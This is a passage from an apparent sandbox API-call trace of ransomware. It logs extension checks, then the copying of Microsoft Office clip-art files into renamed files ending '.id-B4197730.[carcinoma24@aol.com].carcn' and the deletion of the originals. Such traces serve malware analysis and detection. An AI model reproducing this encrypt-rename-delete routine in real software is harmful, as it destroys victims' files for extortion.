[0300.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.686] lstrlenW (lpString=".rar") returned 4 [0300.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.686] lstrlenW (lpString=".bz2") returned 4 [0300.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.686] lstrlenW (lpString=".7z") returned 3 [0300.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.686] lstrlenW (lpString=".dbf") returned 4 [0300.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.686] lstrlenW (lpString=".1cd") returned 4 [0300.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.686] lstrlenW (lpString=".jpg") returned 4 [0300.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.686] lstrlenW (lpString=".doc") returned 4 [0300.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.686] lstrlenW (lpString=".docx") returned 5 [0300.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.686] lstrlenW (lpString=".pdf") returned 4 [0300.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.686] lstrlenW (lpString=".xls") returned 4 [0300.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.686] lstrlenW (lpString=".xlsx") returned 5 [0300.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.686] lstrlenW (lpString=".ppt") returned 4 [0300.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.687] lstrlenW (lpString=".zip") returned 4 [0300.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.687] lstrlenW (lpString=".rar") returned 4 [0300.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.687] lstrlenW (lpString=".bz2") returned 4 [0300.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.687] lstrlenW (lpString=".7z") returned 3 [0300.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.687] lstrlenW (lpString=".dbf") returned 4 [0300.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.687] lstrlenW (lpString=".1cd") returned 4 [0300.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0300.687] lstrlenW (lpString=".jpg") returned 4 [0300.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.687] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.687] lstrlenW (lpString="DD01157_.WMF") returned 12 [0300.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.688] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3588) returned 1 [0300.688] CloseHandle (hObject=0x348) returned 1 [0300.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0300.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0300.688] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.688] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0300.689] GetLastError () returned 0x0 [0300.689] ReadFile (in: hFile=0x348, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xe04, lpOverlapped=0x0) returned 1 [0300.690] WriteFile (in: hFile=0x364, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xe10, lpOverlapped=0x0) returned 1 [0300.691] ReadFile (in: hFile=0x348, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.691] WriteFile (in: hFile=0x364, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.691] SetEndOfFile (hFile=0x364) returned 1 [0300.691] CloseHandle (hObject=0x364) returned 1 [0300.691] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.692] SetEndOfFile (hFile=0x348) returned 1 [0300.692] CloseHandle (hObject=0x348) returned 1 [0300.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0300.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0300.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0300.694] lstrlenW (lpString=".doc") returned 4 [0300.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.694] lstrlenW (lpString=".docx") returned 5 [0300.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.222] lstrlenW (lpString=".pdf") returned 4 [0301.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.222] lstrlenW (lpString=".xls") returned 4 [0301.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.222] lstrlenW (lpString=".xlsx") returned 5 [0301.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.222] lstrlenW (lpString=".ppt") returned 4 [0301.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.222] lstrlenW (lpString=".zip") returned 4 [0301.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.223] lstrlenW (lpString=".rar") returned 4 [0301.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString=".bz2") returned 4 [0301.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString=".7z") returned 3 [0301.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.223] lstrlenW (lpString=".dbf") returned 4 [0301.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.223] lstrlenW (lpString=".1cd") returned 4 [0301.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.223] lstrlenW (lpString=".jpg") returned 4 [0301.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.223] lstrlenW (lpString=".doc") returned 4 [0301.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString=".docx") returned 5 [0301.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.223] lstrlenW (lpString=".pdf") returned 4 [0301.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString=".xls") returned 4 [0301.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.223] lstrlenW (lpString=".xlsx") returned 5 [0301.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.223] lstrlenW (lpString=".ppt") returned 4 [0301.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.223] lstrlenW (lpString=".zip") returned 4 [0301.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.223] lstrlenW (lpString=".rar") returned 4 [0301.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString=".bz2") returned 4 [0301.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.223] lstrlenW (lpString=".7z") returned 3 [0301.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.224] lstrlenW (lpString=".dbf") returned 4 [0301.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.224] lstrlenW (lpString=".1cd") returned 4 [0301.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0301.224] lstrlenW (lpString=".jpg") returned 4 [0301.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.224] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.224] lstrlenW (lpString="DD01182_.WMF") returned 12 [0301.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0301.224] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2996) returned 1 [0301.224] CloseHandle (hObject=0x360) returned 1 [0301.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0301.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0301.225] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.225] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.225] GetLastError () returned 0x0 [0301.225] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xbb4, lpOverlapped=0x0) returned 1 [0301.251] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0301.252] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.252] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.252] SetEndOfFile (hFile=0x350) returned 1 [0301.252] CloseHandle (hObject=0x350) returned 1 [0301.252] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.252] SetEndOfFile (hFile=0x360) returned 1 [0301.253] CloseHandle (hObject=0x360) returned 1 [0301.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0301.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.254] lstrlenW (lpString=".doc") returned 4 [0301.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.254] lstrlenW (lpString=".docx") returned 5 [0301.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.254] lstrlenW (lpString=".pdf") returned 4 [0301.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.254] lstrlenW (lpString=".xls") returned 4 [0301.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.254] lstrlenW (lpString=".xlsx") returned 5 [0301.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.254] lstrlenW (lpString=".ppt") returned 4 [0301.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.254] lstrlenW (lpString=".zip") returned 4 [0301.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.255] lstrlenW (lpString=".rar") returned 4 [0301.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.255] lstrlenW (lpString=".bz2") returned 4 [0301.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.255] lstrlenW (lpString=".7z") returned 3 [0301.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.255] lstrlenW (lpString=".dbf") returned 4 [0301.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.255] lstrlenW (lpString=".1cd") returned 4 [0301.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.255] lstrlenW (lpString=".jpg") returned 4 [0301.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.255] lstrlenW (lpString=".doc") returned 4 [0301.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.255] lstrlenW (lpString=".docx") returned 5 [0301.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.255] lstrlenW (lpString=".pdf") returned 4 [0301.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.255] lstrlenW (lpString=".xls") returned 4 [0301.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.255] lstrlenW (lpString=".xlsx") returned 5 [0301.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.255] lstrlenW (lpString=".ppt") returned 4 [0301.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.256] lstrlenW (lpString=".zip") returned 4 [0301.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.256] lstrlenW (lpString=".rar") returned 4 [0301.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.256] lstrlenW (lpString=".bz2") returned 4 [0301.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.256] lstrlenW (lpString=".7z") returned 3 [0301.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.256] lstrlenW (lpString=".dbf") returned 4 [0301.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.256] lstrlenW (lpString=".1cd") returned 4 [0301.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0301.256] lstrlenW (lpString=".jpg") returned 4 [0301.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.256] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.256] lstrlenW (lpString="DD01183_.WMF") returned 12 [0301.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0301.257] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2296) returned 1 [0301.257] CloseHandle (hObject=0x360) returned 1 [0301.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0301.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0301.257] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.257] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.258] GetLastError () returned 0x0 [0301.258] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x8f8, lpOverlapped=0x0) returned 1 [0301.259] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x900, lpOverlapped=0x0) returned 1 [0301.260] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.260] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.260] SetEndOfFile (hFile=0x350) returned 1 [0301.260] CloseHandle (hObject=0x350) returned 1 [0301.260] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.260] SetEndOfFile (hFile=0x360) returned 1 [0301.261] CloseHandle (hObject=0x360) returned 1 [0301.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0301.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.262] lstrlenW (lpString=".doc") returned 4 [0301.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.262] lstrlenW (lpString=".docx") returned 5 [0301.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.262] lstrlenW (lpString=".pdf") returned 4 [0301.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.262] lstrlenW (lpString=".xls") returned 4 [0301.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.263] lstrlenW (lpString=".xlsx") returned 5 [0301.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.263] lstrlenW (lpString=".ppt") returned 4 [0301.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0301.263] lstrlenW (lpString=".zip") returned 4 [0301.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.263] lstrlenW (lpString=".rar") returned 4 [0301.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.263] lstrlenW (lpString=".bz2") returned 4 [0301.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.263] lstrlenW (lpString=".7z") returned 3 [0301.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.263] lstrlenW (lpString="C:\\Program Files\\Microsoft 